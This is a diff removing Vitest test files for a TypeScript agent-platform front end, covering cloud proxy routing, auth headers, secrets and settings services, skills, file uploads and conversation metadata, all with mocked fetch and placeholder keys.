id: "cloud-acme", - name: "Production - Acme", - host: "https://app.all-hands.dev", - apiKey: "acme-key", - kind: "cloud", -}; - -const cookieCloud: Backend = { - id: "cloud-cookie", - name: "Production - Cookie", - host: "https://app.all-hands.dev", - apiKey: "", - kind: "cloud", - authMode: "cookie", -}; - -const originalFetch = global.fetch; -const fetchMock = vi.fn(); - -function mockJsonResponse(data: unknown, status = 200): Response { - return new Response(JSON.stringify(data), { - status, - headers: { "content-type": "application/json" }, - }); -} - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - fetchMock.mockResolvedValue(mockJsonResponse({})); - global.fetch = fetchMock as typeof fetch; -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - global.fetch = originalFetch; -}); - -describe("callCloudProxy X-Org-Id injection", () => { - it("sends X-Org-Id when targeting the active cloud backend with a selected orgId", async () => { - // Arrange — active selection points at the cloud backend with a - // resolved orgId. This is the steady-state case after the user picks - // an org row in the BackendSelector. - setRegisteredBackends([cloudPersonal]); - setActiveSelection({ - backendId: cloudPersonal.id, - orgId: "org-personal-uuid", - }); - - // Act - await callCloudProxy({ - backend: cloudPersonal, - method: "GET", - path: "/api/v1/app-conversations/search", - }); - - // Assert — the request carries the X-Org-Id of the active selection so the - // cloud backend can scope this request to the user's locally-chosen org - // without depending on user.current_org_id. - const [url, init] = fetchMock.mock.calls[0]!; - expect(url).toBe(`${cloudPersonal.host}/api/v1/app-conversations/search`); - expect(init).toMatchObject({ - method: "GET", - }); - expect( - (init as { headers: Record }).headers["X-Org-Id"], - ).toBe("org-personal-uuid"); - }); - - it("omits X-Org-Id when targeting a different cloud backend than the active one", async () => { - // Arrange — the BackendSelector fan-out (e.g. useAllCloudOrganizations) - // calls callCloudProxy(b) for every registered cloud backend. Sending - // the active backend's orgId across an unrelated API key would cause - // the cloud backend to 403 on api_key_org_id / X-Org-Id mismatch. - setRegisteredBackends([cloudPersonal, cloudAcme]); - setActiveSelection({ - backendId: cloudPersonal.id, - orgId: "org-personal-uuid", - }); - - // Act — request targets the non-active backend. - await callCloudProxy({ - backend: cloudAcme, - method: "GET", - path: "/api/keys/current", - }); - - // Assert - const [, init] = fetchMock.mock.calls[0]!; - expect( - (init as { headers: Record }).headers, - ).not.toHaveProperty("X-Org-Id"); - }); -}); - -describe("callCloudProxy cookie auth", () => { - it("omits bearer auth for same-origin cookie-backed Cloud requests", async () => { - setRegisteredBackends([cookieCloud]); - setActiveSelection({ backendId: cookieCloud.id, orgId: null }); - - await callCloudProxy({ - backend: cookieCloud, - method: "GET", - path: "/api/v1/users/me", - }); - - const [url, init] = fetchMock.mock.calls[0]!; - expect(url).toBe(`${cookieCloud.host}/api/v1/users/me`); - expect(init).toMatchObject({ method: "GET" }); - expect( - (init as { headers: Record }).headers, - ).not.toHaveProperty("Authorization"); - }); - - it("omits bearer auth in runtime proxy envelope requests", async () => { - setRegisteredBackends([cookieCloud]); - setActiveSelection({ backendId: cookieCloud.id, orgId: null }); - - await callCloudProxy({ - backend: cookieCloud, - method: "GET", - path: "/api/bash/bash_events/search", - hostOverride: "https://abc123.prod-runtime.all-hands.dev", - }); - - const [, init] = fetchMock.mock.calls[0]!; - const envelope = JSON.parse((init as { body: string }).body); - expect( - (envelope as { headers: Record }).headers, - ).not.toHaveProperty("Authorization"); - }); -}); - -describe("callCloudProxy automation direct routing", () => { - it("sends automation requests straight to the cloud host with the API key instead of the /api/cloud-proxy envelope", async () => { - // Arrange — the automation service grants permissive CORS to API-key - // requests (automation#185), so app-host automation calls no longer - // need the same-origin proxy hop through the bundled agent-server. - setRegisteredBackends([cloudPersonal]); - setActiveSelection({ backendId: cloudPersonal.id, orgId: null }); - const page = { automations: [], total: 0 }; - fetchMock.mockResolvedValueOnce(mockJsonResponse(page)); - - // Act - const result = await callCloudProxy({ - backend: cloudPersonal, - method: "GET", - path: "/api/automation/v1?limit=50&offset=0", - }); - - // Assert — the browser calls the automation API on the cloud host - // directly, authenticated by the backend's API key, and no envelope - // POST reaches /api/cloud-proxy. - const [url, init] = fetchMock.mock.calls[0]!; - expect(url).toBe( - `${cloudPersonal.host}/api/automation/v1?limit=50&offset=0`, - ); - expect(init).toMatchObject({ - method: "GET", - }); - expect( - (init as { headers: Record }).headers.Authorization, - ).toBe(`Bearer ${cloudPersonal.apiKey}`); - expect(result).toEqual(page); - }); - - it("forwards the blob responseType and fail-fast timeout to the direct request", async () => { - // Arrange — tarball downloads and health probes rely on these - // per-request options surviving the switch from the proxy envelope to - // the direct call. - setRegisteredBackends([cloudPersonal]); - setActiveSelection({ backendId: cloudPersonal.id, orgId: null }); - - // Act - await callCloudProxy({ - backend: cloudPersonal, - method: "GET", - path: "/api/automation/v1/auto-1/tarball", - responseType: "blob", - timeoutSeconds: 5, - }); - - // Assert - const [url, init] = fetchMock.mock.calls[0]!; - expect(url).toBe(`${cloudPersonal.host}/api/automation/v1/auto-1/tarball`); - expect(init).toMatchObject({ method: "GET" }); - }); -}); - -describe("callCloudProxy hostOverride routing", () => { - const runtimeHost = "https://abc123.prod-runtime.all-hands.dev"; - - it("routes through the local /api/cloud-proxy instead of the upstream host when hostOverride is set", async () => { - // Arrange — runtime-sandbox endpoints need the proxy hop because the - // per-conversation runtime hosts reject browser requests from the - // local GUI origin. - setRegisteredBackends([cloudPersonal]); - setActiveSelection({ backendId: cloudPersonal.id, orgId: null }); - fetchMock.mockResolvedValueOnce(mockJsonResponse({ items: [] })); - - // Act - const result = await callCloudProxy({ - backend: cloudPersonal, - method: "GET", - path: "/api/bash/bash_events/search", - hostOverride: runtimeHost, - }); - - // Assert — the browser only makes a same-origin POST to the bundled - // agent-server's proxy endpoint carrying the upstream call as an - // envelope, and the upstream payload is unwrapped for the caller. - const [url, init] = fetchMock.mock.calls[0]!; - expect(url).toMatch(/\/api\/cloud-proxy$/); - const envelope = JSON.parse((init as { body: string }).body); - expect(envelope).toMatchObject({ - host: runtimeHost, - method: "GET", - path: "/api/bash/bash_events/search", - }); - expect(result).toEqual({ items: [] }); - }); - - it("carries bearer auth and X-Org-Id inside the proxy envelope", async () => { - // Arrange — org scoping must survive the server-side hop: the envelope - // headers are what the agent-server attaches to the upstream call in - // place of the headers a direct browser request would have sent. - setRegisteredBackends([cloudPersonal]); - setActiveSelection({ - backendId: cloudPersonal.id, - orgId: "org-personal-uuid", - }); - - // Act - await callCloudProxy({ - backend: cloudPersonal, - method: "GET", - path: "/api/bash/bash_events/search", - hostOverride: runtimeHost, - }); - - // Assert - const [, init] = fetchMock.mock.calls[0]!; - const envelope = JSON.parse((init as { body: string }).body); - expect( - (envelope as { headers: Record }).headers, - ).toMatchObject({ - Authorization: `Bearer ${cloudPersonal.apiKey}`, - "X-Org-Id": "org-personal-uuid", - }); - }); -}); diff --git a/__tests__/api/cloud/sandbox-service.test.ts b/__tests__/api/cloud/sandbox-service.test.ts deleted file mode 100644 index ea5d73200..000000000 --- a/__tests__/api/cloud/sandbox-service.test.ts +++ /dev/null @@ -1,59 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { batchGetCloudSandboxes } from "#/api/cloud/sandbox-service.api"; -import type { Backend } from "#/api/backend-registry/types"; -import { getFetchCall, mockJsonResponse } from "./fetch-test-utils"; - -const cloudBackend: Backend = { - id: "cloud-prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -const originalFetch = global.fetch; -const fetchMock = vi.fn(); - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - fetchMock.mockReset(); - fetchMock.mockResolvedValue(mockJsonResponse([])); - global.fetch = fetchMock as typeof fetch; -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - global.fetch = originalFetch; -}); - -describe("batchGetCloudSandboxes", () => { - it("targets /api/v1/sandboxes with one id query param per sandbox id", async () => { - // Arrange — multiple ids exercises the URLSearchParams.append path, - // which is the cloud contract for batch-fetching sandboxes (the GUI - // reads sandbox.exposed_urls from the response to find the VSCODE - // URL instead of asking the runtime for a localhost address). - const ids = ["sandbox-a", "sandbox-b"]; - - // Act - await batchGetCloudSandboxes(ids); - - const [url, init] = getFetchCall(fetchMock); - expect(init).toMatchObject({ - method: "GET", - headers: { Authorization: "Bearer bearer-token" }, - }); - expect(url).toBe( - `${cloudBackend.host}/api/v1/sandboxes?id=sandbox-a&id=sandbox-b`, - ); - }); -}); diff --git a/__tests__/api/cloud/secrets-service.test.ts b/__tests__/api/cloud/secrets-service.test.ts deleted file mode 100644 index f60967229..000000000 --- a/__tests__/api/cloud/secrets-service.test.ts +++ /dev/null @@ -1,150 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import { SecretsService } from "#/api/secrets-service"; -import { - getFetchCall, - getJsonBody, - mockJsonResponse, -} from "./fetch-test-utils"; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -const originalFetch = global.fetch; -const fetchMock = vi.fn(); - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - fetchMock.mockReset(); - fetchMock.mockResolvedValue(mockJsonResponse({})); - global.fetch = fetchMock as typeof fetch; -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - global.fetch = originalFetch; -}); - -describe("SecretsService against cloud backend", () => { - it("paginates getSecrets directly and returns the merged list", async () => { - fetchMock - .mockResolvedValueOnce( - mockJsonResponse({ - items: [ - { name: "ALPHA", description: "first" }, - { name: "BETA", description: "second" }, - ], - next_page_id: "BETA", - }), - ) - .mockResolvedValueOnce( - mockJsonResponse({ - items: [{ name: "GAMMA", description: "third" }], - next_page_id: null, - }), - ); - - const secrets = await SecretsService.getSecrets(); - - expect(fetchMock).toHaveBeenCalledTimes(2); - - const [firstUrl, firstInit] = getFetchCall(fetchMock, 0); - expect(firstInit).toMatchObject({ - method: "GET", - headers: { Authorization: "Bearer bearer-token" }, - }); - expect(firstUrl).toMatch( - /^https:\/\/app\.all-hands\.dev\/api\/v1\/secrets\/search\?/, - ); - expect(firstUrl).not.toContain("page_id="); - - const [secondUrl] = getFetchCall(fetchMock, 1); - expect(secondUrl).toContain("page_id=BETA"); - - expect(secrets.map((s) => s.name)).toEqual(["ALPHA", "BETA", "GAMMA"]); - }); - - it("creates a secret via direct POST /api/v1/secrets", async () => { - await SecretsService.createSecret( - "OPENAI_API_KEY", - "sk-test", - "OpenAI key", - ); - - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${cloudBackend.host}/api/v1/secrets`); - expect(init).toMatchObject({ - method: "POST", - headers: { Authorization: "Bearer bearer-token" }, - }); - expect(getJsonBody(init)).toEqual({ - name: "OPENAI_API_KEY", - value: "sk-test", - description: "OpenAI key", - }); - }); - - it("updates a secret via PUT /api/v1/secrets/{id} with name + description only", async () => { - // The form/hook calls updateSecret(secretToEdit, newName, description). - await SecretsService.updateSecret("OLD_NAME", "NEW_NAME", "renamed"); - - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${cloudBackend.host}/api/v1/secrets/OLD_NAME`); - expect(init).toMatchObject({ - method: "PUT", - headers: { Authorization: "Bearer bearer-token" }, - }); - expect(getJsonBody(init)).toEqual({ - name: "NEW_NAME", - description: "renamed", - }); - }); - - it("deletes a secret via direct DELETE /api/v1/secrets/{id}", async () => { - await SecretsService.deleteSecret("token with space"); - - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe( - `${cloudBackend.host}/api/v1/secrets/token%20with%20space`, - ); - expect(init).toMatchObject({ - method: "DELETE", - headers: { Authorization: "Bearer bearer-token" }, - }); - }); - - it("treats a delete 404 as success (secret already gone)", async () => { - // Fresh Response per attempt: the retry helper re-fetches and a - // Response body can only be consumed once. Fake timers skip the - // retry backoff sleeps. - fetchMock.mockImplementation(() => - Promise.resolve(mockJsonResponse({ detail: "Secret not found" }, 404)), - ); - vi.useFakeTimers(); - - try { - const assertion = expect( - SecretsService.deleteSecret("ALREADY_GONE"), - ).resolves.toBeUndefined(); - await vi.runAllTimersAsync(); - await assertion; - } finally { - vi.useRealTimers(); - } - }); -}); diff --git a/__tests__/api/cloud/settings-service.test.ts b/__tests__/api/cloud/settings-service.test.ts deleted file mode 100644 index a730df682..000000000 --- a/__tests__/api/cloud/settings-service.test.ts +++ /dev/null @@ -1,200 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import { - fetchCloudSettings, - saveCloudSettings, -} from "#/api/cloud/settings-service.api"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import { - getFetchCall, - getJsonBody, - mockJsonResponse, -} from "./fetch-test-utils"; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -const originalFetch = global.fetch; -const fetchMock = vi.fn(); - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - fetchMock.mockReset(); - fetchMock.mockResolvedValue(mockJsonResponse({})); - global.fetch = fetchMock as typeof fetch; -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - global.fetch = originalFetch; -}); - -describe("cloud settings", () => { - it("fetchCloudSettings preserves provider_tokens_set so the repo chain can fire", async () => { - fetchMock.mockResolvedValueOnce( - mockJsonResponse({ - llm_model: "anthropic/claude-3-5-sonnet", - llm_base_url: "https://api.anthropic.com", - llm_api_key_set: true, - agent: "CodeActAgent", - confirmation_mode: true, - security_analyzer: "llm", - max_iterations: 30, - provider_tokens_set: { github: "***" }, - }), - ); - - const result = await fetchCloudSettings(); - - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${cloudBackend.host}/api/v1/settings`); - expect(init).toMatchObject({ - method: "GET", - headers: { Authorization: "Bearer bearer-token" }, - }); - - // provider_tokens_set must round-trip — it's what drives - // useUserProviders → useAppInstallations → useGitRepositories. - expect(result.provider_tokens_set).toEqual({ github: "***" }); - - // Top-level cloud fields are preserved as-is. - expect(result.llm_model).toBe("anthropic/claude-3-5-sonnet"); - expect(result.llm_api_key_set).toBe(true); - expect(result.agent).toBe("CodeActAgent"); - - // Nested shape derived for the local-mode settings page. - expect(result.agent_settings?.agent).toBe("CodeActAgent"); - expect(result.agent_settings?.llm).toEqual({ - model: "anthropic/claude-3-5-sonnet", - base_url: "https://api.anthropic.com", - }); - expect(result.conversation_settings?.confirmation_mode).toBe(true); - expect(result.conversation_settings?.security_analyzer).toBe("llm"); - expect(result.conversation_settings?.max_iterations).toBe(30); - }); - - it("saveCloudSettings forwards diffs verbatim and omits the legacy keys the cloud rejects", async () => { - const agentDiff = { - llm: { model: "openai/gpt-4o", base_url: "https://api.openai.com" }, - agent: "CodeActAgent", - }; - const conversationDiff = { max_iterations: 50 }; - - await saveCloudSettings({ - agent_settings_diff: agentDiff, - conversation_settings_diff: conversationDiff, - }); - - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${cloudBackend.host}/api/v1/settings`); - expect(init).toMatchObject({ - method: "POST", - headers: { Authorization: "Bearer bearer-token" }, - }); - const requestBody = getJsonBody(init); - expect(requestBody).toEqual({ - agent_settings_diff: agentDiff, - conversation_settings_diff: conversationDiff, - }); - expect(requestBody).not.toHaveProperty("agent_settings"); - expect(requestBody).not.toHaveProperty("conversation_settings"); - }); - - it("SettingsService.saveSettings forwards disabled_skills to cloud when active backend is cloud", async () => { - // Act: save a skills-only update — previously this short-circuited and - // sent nothing at all, leaving the toggle un-persisted. - await SettingsService.saveSettings({ - disabled_skills: ["SSH Microagent"], - }); - - // Assert: a single POST /api/v1/settings reached the wire with - // disabled_skills as a top-level field. - expect(fetchMock).toHaveBeenCalledTimes(1); - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${cloudBackend.host}/api/v1/settings`); - expect(init).toMatchObject({ - method: "POST", - headers: { Authorization: "Bearer bearer-token" }, - }); - expect(getJsonBody(init)).toEqual({ - disabled_skills: ["SSH Microagent"], - }); - }); - - it("saveCloudSettings omits an empty conversation_settings_diff (LLM-only save)", async () => { - await saveCloudSettings({ - agent_settings_diff: { - llm: { model: "anthropic/claude-sonnet-4-20250514" }, - }, - conversation_settings_diff: {}, - }); - - const [, init] = getFetchCall(fetchMock); - const requestBody = getJsonBody(init); - expect(requestBody).toEqual({ - agent_settings_diff: { - llm: { model: "anthropic/claude-sonnet-4-20250514" }, - }, - }); - }); -}); - -describe("saveCloudSettings drops agent_context: null (agent-canvas#981)", () => { - it("strips a null agent_context while preserving sibling agent settings", async () => { - // Act - await saveCloudSettings({ - agent_settings_diff: { - llm: { model: "anthropic/claude-sonnet-4-20250514" }, - agent_context: null, - }, - }); - - // Assert: agent_context never reaches the wire, but the real llm change does. - const [, init] = getFetchCall(fetchMock); - const requestBody = getJsonBody(init); - expect(requestBody).toEqual({ - agent_settings_diff: { - llm: { model: "anthropic/claude-sonnet-4-20250514" }, - }, - }); - }); - - it("preserves a null mcp_config so clearing MCP servers still round-trips", async () => { - // Act - await saveCloudSettings({ - agent_settings_diff: { mcp_config: null }, - }); - - // Assert: the null mcp_config must survive (don't over-strip nulls). - const [, init] = getFetchCall(fetchMock); - const requestBody = getJsonBody(init); - expect(requestBody).toEqual({ agent_settings_diff: { mcp_config: null } }); - }); - - it("omits agent_settings_diff when agent_context: null is its only key", async () => { - // Act - await saveCloudSettings({ - agent_settings_diff: { agent_context: null }, - }); - - // Assert: nothing is left to send, so no agent_settings_diff goes on the wire. - const [, init] = getFetchCall(fetchMock); - const requestBody = getJsonBody(init); - expect(requestBody).toEqual({}); - }); -}); diff --git a/__tests__/api/cloud/skills-service.test.ts b/__tests__/api/cloud/skills-service.test.ts deleted file mode 100644 index b54445def..000000000 --- a/__tests__/api/cloud/skills-service.test.ts +++ /dev/null @@ -1,82 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import SkillsService from "#/api/skills-service"; -import { getFetchCall, mockJsonResponse } from "./fetch-test-utils"; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -const originalFetch = global.fetch; -const fetchMock = vi.fn(); - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - fetchMock.mockReset(); - global.fetch = fetchMock as typeof fetch; -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - global.fetch = originalFetch; -}); - -describe("SkillsService.getSkills against cloud backend", () => { - it("paginates /api/v1/skills/search directly and returns the merged list", async () => { - fetchMock - .mockResolvedValueOnce( - mockJsonResponse({ - items: [ - { name: "alpha", type: "knowledge", source: "global" }, - { - name: "beta", - type: "task", - source: "user", - triggers: ["foo"], - }, - ], - next_page_id: "beta", - }), - ) - .mockResolvedValueOnce( - mockJsonResponse({ - items: [{ name: "gamma", type: "knowledge", source: "user" }], - next_page_id: null, - }), - ); - - const skills = await SkillsService.getSkills(); - - expect(fetchMock).toHaveBeenCalledTimes(2); - - const [firstUrl, firstInit] = getFetchCall(fetchMock, 0); - expect(firstInit).toMatchObject({ - method: "GET", - headers: { Authorization: "Bearer bearer-token" }, - }); - expect(firstUrl).toMatch( - /^https:\/\/app\.all-hands\.dev\/api\/v1\/skills\/search\?/, - ); - expect(firstUrl).not.toContain("page_id="); - - const [secondUrl] = getFetchCall(fetchMock, 1); - expect(secondUrl).toContain("page_id=beta"); - - expect(skills.map((s) => s.name)).toEqual(["alpha", "beta", "gamma"]); - expect(skills[1]).toMatchObject({ triggers: ["foo"] }); - }); -}); diff --git a/__tests__/api/cloud/suggestions-service.test.ts b/__tests__/api/cloud/suggestions-service.test.ts deleted file mode 100644 index 35c89acba..000000000 --- a/__tests__/api/cloud/suggestions-service.test.ts +++ /dev/null @@ -1,54 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { getCloudSuggestedTasks } from "#/api/cloud/suggestions-service.api"; -import type { Backend } from "#/api/backend-registry/types"; -import { getFetchCall, mockJsonResponse } from "./fetch-test-utils"; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -const originalFetch = global.fetch; -const fetchMock = vi.fn(); - -beforeEach(() => { - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - fetchMock.mockReset(); - fetchMock.mockResolvedValue( - mockJsonResponse({ items: [], next_page_id: null }), - ); - global.fetch = fetchMock as typeof fetch; -}); - -afterEach(() => { - __resetActiveStoreForTests(); - fetchMock.mockReset(); - global.fetch = originalFetch; -}); - -describe("getCloudSuggestedTasks", () => { - it("forwards limit and pageId to the upstream /api/v1/git/suggested-tasks/search endpoint", async () => { - // Act - await getCloudSuggestedTasks({ limit: 10, pageId: "p2" }); - - // Assert - const [url, init] = getFetchCall(fetchMock); - expect(init).toMatchObject({ - method: "GET", - headers: { Authorization: "Bearer bearer-token" }, - }); - expect(url).toContain("/api/v1/git/suggested-tasks/search"); - expect(url).toContain("limit=10"); - expect(url).toContain("page_id=p2"); - }); -}); diff --git a/__tests__/api/config-service.test.ts b/__tests__/api/config-service.test.ts deleted file mode 100644 index 253c52e12..000000000 --- a/__tests__/api/config-service.test.ts +++ /dev/null @@ -1,61 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { http, HttpResponse } from "msw"; -import ConfigService from "#/api/config-service/config-service.api"; -import { server } from "#/mocks/node"; - -describe("ConfigService", () => { - it("derives providers from llm endpoints", async () => { - const page = await ConfigService.searchProviders({ limit: 10 }); - - expect(page.next_page_id).toBeNull(); - expect(page.items.some((provider) => provider.name === "anthropic")).toBe(true); - expect( - page.items.find((provider) => provider.name === "anthropic")?.verified, - ).toBe(true); - }); - - it("derives provider models from llm endpoints", async () => { - const page = await ConfigService.searchModels({ - provider__eq: "anthropic", - limit: 20, - }); - - expect(page.next_page_id).toBeNull(); - expect(page.items.some((model) => model.name === "claude-opus-4-5-20251101")).toBe( - true, - ); - expect(page.items.every((model) => model.provider === "anthropic")).toBe(true); - }); - - it("includes verified providers absent from /api/llm/providers and keeps them within the limit", async () => { - // Arrange: mirror the real local agent-server, where - // /api/llm/providers comes from litellm (no "openhands"), - // but /api/llm/models/verified has "openhands" as a key. - const litellmOnlyProviders = Array.from( - { length: 10 }, - (_, i) => `litellm_provider_${i}`, - ); - server.use( - http.get("/api/llm/providers", () => - HttpResponse.json({ providers: litellmOnlyProviders }), - ), - http.get("/api/llm/models/verified", () => - HttpResponse.json({ - models: { - openhands: ["claude-opus-4-7", "gpt-5.5"], - anthropic: ["claude-opus-4-5-20251101"], - }, - }), - ), - ); - - // Act: request fewer items than the litellm provider count to also - // exercise the ordering fix (verified providers must come first so - // they survive limitItems). - const page = await ConfigService.searchProviders({ limit: 3 }); - - // Assert - const openhands = page.items.find((p) => p.name === "openhands"); - expect(openhands).toEqual({ name: "openhands", verified: true }); - }); -}); diff --git a/__tests__/api/conversation-file-upload.test.ts b/__tests__/api/conversation-file-upload.test.ts deleted file mode 100644 index be83cd27c..000000000 --- a/__tests__/api/conversation-file-upload.test.ts +++ /dev/null @@ -1,147 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { RemoteWorkspace } from "@openhands/typescript-client/workspace/remote-workspace"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import { uploadFilesToConversation } from "#/api/conversation-file-upload.api"; -import { clearAgentServerHomeDirCache } from "#/api/agent-server-home"; - -const fileUploadMock = vi.fn(); -const getHomeMock = vi.fn(); - -vi.mock("@openhands/typescript-client/workspace/remote-workspace", () => ({ - RemoteWorkspace: vi.fn(function RemoteWorkspaceMock() { - return { fileUpload: fileUploadMock }; - }), -})); - -vi.mock("@openhands/typescript-client/clients", () => ({ - FileClient: vi.fn(function FileClientMock() { - return { getHome: getHomeMock }; - }), -})); - -const batchGetCloudConversations = vi.fn(); - -vi.mock("#/api/cloud/conversation-service.api", () => ({ - batchGetCloudConversations: (...args: unknown[]) => - batchGetCloudConversations(...args), -})); - -const cloudBackend: Backend = { - id: "cloud-1", - name: "Cloud", - host: "https://app.all-hands.dev", - apiKey: "cloud-token", - kind: "cloud", -}; - -function makeFile(name: string) { - return new File(["content"], name, { type: "text/plain" }); -} - -describe("uploadFilesToConversation", () => { - beforeEach(() => { - vi.clearAllMocks(); - window.localStorage.clear(); - __resetActiveStoreForTests(); - clearAgentServerHomeDirCache(); - fileUploadMock.mockResolvedValue(undefined); - batchGetCloudConversations.mockReset(); - getHomeMock.mockReset(); - getHomeMock.mockResolvedValue({ home: "/Users/test" }); - }); - - // @spec WUP-001 — Default-fallback relative working dirs are resolved - // against /api/file/home, not the filesystem root. - it("uploads local conversations under the agent-server home dir when working dir is relative", async () => { - setRegisteredBackends([ - { - id: "local-1", - name: "Local", - host: "http://127.0.0.1:18000", - apiKey: "local-key", - kind: "local", - }, - ]); - setActiveSelection({ backendId: "local-1" }); - - const result = await uploadFilesToConversation("conv-1", [ - makeFile("a.txt"), - ]); - - expect(fileUploadMock).toHaveBeenCalledWith( - expect.objectContaining({ name: "a.txt" }), - "/Users/test/workspace/project/a.txt", - ); - expect(result.uploaded_files).toEqual(["a.txt"]); - expect(batchGetCloudConversations).not.toHaveBeenCalled(); - expect(getHomeMock).toHaveBeenCalled(); - }); - - // @spec WUP-001 — Absolute working dirs (e.g. the conversation's own - // `workspace.working_dir`) pass through without a /api/file/home round-trip. - it("respects an absolute conversation working_dir verbatim", async () => { - setRegisteredBackends([ - { - id: "local-1", - name: "Local", - host: "http://127.0.0.1:18000", - apiKey: "local-key", - kind: "local", - }, - ]); - setActiveSelection({ backendId: "local-1" }); - - const result = await uploadFilesToConversation( - "conv-1", - [makeFile("notes.md")], - { - id: "conv-1", - workspace: { working_dir: "/Users/test/projects/foo" }, - } as never, - ); - - expect(fileUploadMock).toHaveBeenCalledWith( - expect.objectContaining({ name: "notes.md" }), - "/Users/test/projects/foo/notes.md", - ); - expect(result.uploaded_files).toEqual(["notes.md"]); - expect(getHomeMock).not.toHaveBeenCalled(); - }); - - it("uploads cloud conversations against the provisioned runtime URL", async () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - batchGetCloudConversations.mockResolvedValue([ - { - id: "1717df59-63ee-43bf-b32a-83428d3efdc8", - conversation_url: - "http://runtime.example.dev/api/conversations/1717df59-63ee-43bf-b32a-83428d3efdc8", - session_api_key: "runtime-session-key", - workspace: { working_dir: "/workspace/project" }, - }, - ]); - - const conversationId = "1717df59-63ee-43bf-b32a-83428d3efdc8"; - const result = await uploadFilesToConversation(conversationId, [ - makeFile("notes.md"), - ]); - - expect(batchGetCloudConversations).toHaveBeenCalledWith([conversationId]); - expect(RemoteWorkspace).toHaveBeenCalledWith( - expect.objectContaining({ - host: "http://runtime.example.dev", - apiKey: "runtime-session-key", - }), - ); - expect(fileUploadMock).toHaveBeenCalledWith( - expect.objectContaining({ name: "notes.md" }), - "/workspace/project/notes.md", - ); - expect(result.uploaded_files).toEqual(["notes.md"]); - }); -}); diff --git a/__tests__/api/conversation-metadata-store.test.ts b/__tests__/api/conversation-metadata-store.test.ts deleted file mode 100644 index 5b3d067a3..000000000 --- a/__tests__/api/conversation-metadata-store.test.ts +++ /dev/null @@ -1,59 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it } from "vitest"; -import { toAppConversation } from "#/api/agent-server-adapter"; -import { - getStoredConversationMetadata, - removeStoredConversationMetadata, - setStoredConversationMetadata, -} from "#/api/conversation-metadata-store"; - -const directInfo = (id: string) => ({ - id, - created_at: "2026-05-05T00:00:00Z", - updated_at: "2026-05-05T00:00:00Z", -}); - -describe("conversation-metadata-store", () => { - beforeEach(() => { - window.localStorage.clear(); - }); - afterEach(() => { - window.localStorage.clear(); - }); - - it("toAppConversation hydrates repo/branch/git_provider from the store", () => { - setStoredConversationMetadata("conv-1", { - selected_repository: "octocat/hello-world", - selected_branch: "main", - git_provider: "github", - }); - - const conversation = toAppConversation(directInfo("conv-1")); - - expect(conversation).toMatchObject({ - selected_repository: "octocat/hello-world", - selected_branch: "main", - git_provider: "github", - }); - }); - - it("toAppConversation falls back to nulls when no metadata is stored", () => { - const conversation = toAppConversation(directInfo("conv-2")); - - expect(conversation.selected_repository).toBeNull(); - expect(conversation.selected_branch).toBeNull(); - 